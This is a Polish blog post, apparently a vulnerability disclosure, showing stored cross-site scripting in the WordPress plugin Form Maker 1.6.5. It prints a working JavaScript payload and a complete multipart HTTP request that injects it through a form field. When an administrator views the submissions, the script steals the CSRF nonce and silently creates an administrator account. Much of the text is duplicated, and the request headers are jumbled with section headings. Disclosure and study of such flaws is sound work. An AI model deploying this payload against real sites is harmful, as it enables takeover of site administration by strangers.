W ostatnim czasie bawiłem się wtyczką do WordPressa o nazwie Form Maker (v1.6.5). Postanowiłem przejrzeć kod tej wtyczki i sprawdzić jego jakość oraz poziom zabezpieczenia danych przychodzących od użytkowników. Jak się okazuje poziom zabezpieczeń tego dodatku pozostawia wiele do życzenia (zresztą poziom jakości kodu źródłowego również). Wygenerowałem przy użyciu panelu zarządzania FormMaker'a formularz z jednym polem typu "select: oraz przyciski "submit" i "reset". Następnie dodałem widget do prawej kolumny bloga, efekt jest następujący:
W zasadzie pole to nie jest zabezpieczone w żaden sposób przed doklejeniem do wartości skryptu JS. Wartości te wpadają do tabelki wp_formmaker_submits do kolumny element_value. Użytkownik zarządzający (domyślnie administrator) może przeglądać w panelu WP statystyki utworzone na podstawie przesłanych przez użytkowników danych, oto przykład ( http://localhost/wordpress/wp-admin/admin.php?page=Form_maker_Submits ):
Nic nie stoi zatem na przykładzie, aby spróbować wrzucić przez formularz skrypt JS, który nieświadomie uruchomi sam administrator przeglądający statystyki witryny - nic też nie stoi na przeszkodzie aby skrypt też dodał dla nas użytkownika o określonym loginie, haśle oraz określonej grupie (np. administrator).
Na początku trzeba napisać funkcję, która z formularza dodawania użytkownika pobierze aktualny token zapobiegający atakom CSRF.
Następnie należy dopisać kawałek kodu, który pobierze przy użyciu napisanej funkcji token CSRF i prześle w żądaniu POST dane użytkownika, którego chcemy założyć w systemie WordPress.
Przykład żądania infekującego system WordPress:
Nagłówki:
Testowane wersje oprogramowania:
Aktualizacja (1 lutego 2014):
W najnowszej wersji 1.6.6 naprawiono już wspomniany przeze mnie błąd, poniżej zrzut ekranu z change-loga:
Artykuł udostępniany na licencji CC-BY-SA-3.0
W zasadzie pole to nie jest zabezpieczone w żaden sposób przed doklejeniem do wartości skryptu JS. Wartości te wpadają do tabelki wp_formmaker_submits do kolumny element_value. Użytkownik zarządzający (domyślnie administrator) może przeglądać w panelu WP statystyki utworzone na podstawie przesłanych przez użytkowników danych, oto przykład ( http://localhost/wordpress/wp-admin/admin.php?page=Form_maker_Submits ):
Nic nie stoi zatem na przykładzie, aby spróbować wrzucić przez formularz skrypt JS, który nieświadomie uruchomi sam administrator przeglądający statystyki witryny - nic też nie stoi na przeszkodzie aby skrypt też dodał dla nas użytkownika o określonym loginie, haśle oraz określonej grupie (np. administrator).
Na początku trzeba napisać funkcję, która z formularza dodawania użytkownika pobierze aktualny token zapobiegający atakom CSRF.
function getCSRFToken() {var resp = jQuery.ajax("http://localhost:8080/wordpress/wp-admin/user-new.php", {async: false});var searchText = ' name="_wpnonce_create-user" value="';var respTxt = resp.responseText;var varStartPos = respTxt.indexOf(searchText)+searchText.length;var varStopPos = respTxt.indexOf('"', varStartPos);var res = respTxt.substring(varStartPos, varStopPos);return res;}
Następnie należy dopisać kawałek kodu, który pobierze przy użyciu napisanej funkcji token CSRF i prześle w żądaniu POST dane użytkownika, którego chcemy założyć w systemie WordPress.
W chwili gdy administrator będzie przeglądał raport z formularza/ankiety nieświadomie założy nam konto z dostępem do systemu na poziomie administracyjnym.var token = getCSRFToken();jQuery.ajax({type: "POST",url: "http://localhost:8080/wordpress/wp-admin/user-new.php",data : {"action": "createuser","_wpnonce_create-user": token,"_wp_http_referer" : "/wordpress/wp-admin/user-new.php","user_login": "haker","email" : "abcd@abcd.pl","first_name" : "haker","last_name" : "haker","url" : "","pass1": "test","pass2": "test","role": "administrator"}});
Przykład żądania infekującego system WordPress:
Nagłówki:
Host: localhostTreść żądania (content body):
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/~matis/wordpress/
Cookie: wp-settings-time-1=1390159250; wp-settings-time-2=1390156858; wp-settings-2=mfold%3Do; wp-settings-1=editor%3Dhtml; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_0c5adc8dcb9e5502c1e0869a0bb781e6=admin%7C1390411515%7C400db2d0d0cea602d78db3c5d7e91a39; PHPSESSID=aq2uhhptv63d4g5h9jn8uomed74h5hptpb931jon35u144lgv1k1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------7842590414246330011810426949
Content-Length: 672
-----------------------------7842590414246330011810426949\r\nŚrodowisko testowe:
Content-Disposition: form-data; name="counter10"\r\n
\r\n
3\r\n
-----------------------------7842590414246330011810426949\r\n
Content-Disposition: form-data; name="1_type10"\r\n
\r\n
type_own_select\r\n
-----------------------------7842590414246330011810426949\r\n
Content-Disposition: form-data; name="1_required10"\r\n
\r\n
no\r\n
-----------------------------7842590414246330011810426949\r\n
Content-Disposition: form-data; name="1_element10"\r\n
\r\n
option 1<script>function getCSRFToken() {
var resp = jQuery.ajax("http://localhost:8080/wordpress/wp-admin/user-new.php", {async: false});
var searchText = ' name="_wpnonce_create-user" value="';
var respTxt = resp.responseText;
var varStartPos = respTxt.indexOf(searchText)+searchText.length;
var varStopPos = respTxt.indexOf('"', varStartPos);
var res = respTxt.substring(varStartPos, varStopPos);
return res;
}
var token = getCSRFToken();
jQuery.ajax({
type: "POST",
url: "http://localhost:8080/wordpress/wp-admin/user-new.php",
data : {
"action": "createuser",
"_wpnonce_create-user": token,
"_wp_http_referer" : "/wordpress/wp-admin/user-new.php",
"user_login": "haker",
"email" : "abcd@abcd.pl",
"first_name" : "haker",
"last_name" : "haker",
"url" : "",
"pass1": "test",
"pass2": "test",
"role": "administrator"
}
});
</script>\r\n
-----------------------------7842590414246330011810426949\r\n
Content-Disposition: form-data; name="2_type10"\r\n
\r\n
type_submit_reset\r\n
-----------------------------7842590414246330011810426949--\r\n
- Komputer z serwerem www (środowisko lokalne)
- Apache2 w wersji 2.4
- PHP w wersji 5.4.4
- MariaDB
Testowane wersje oprogramowania:
- WordPress - 3.8
- FormMaker - 1.6.5 (by WebDorado)
Aktualizacja (1 lutego 2014):
W najnowszej wersji 1.6.6 naprawiono już wspomniany przeze mnie błąd, poniżej zrzut ekranu z change-loga:
Artykuł udostępniany na licencji CC-BY-SA-3.0
Ciekawy artykuł. Pozdrawiam.
OdpowiedzUsuń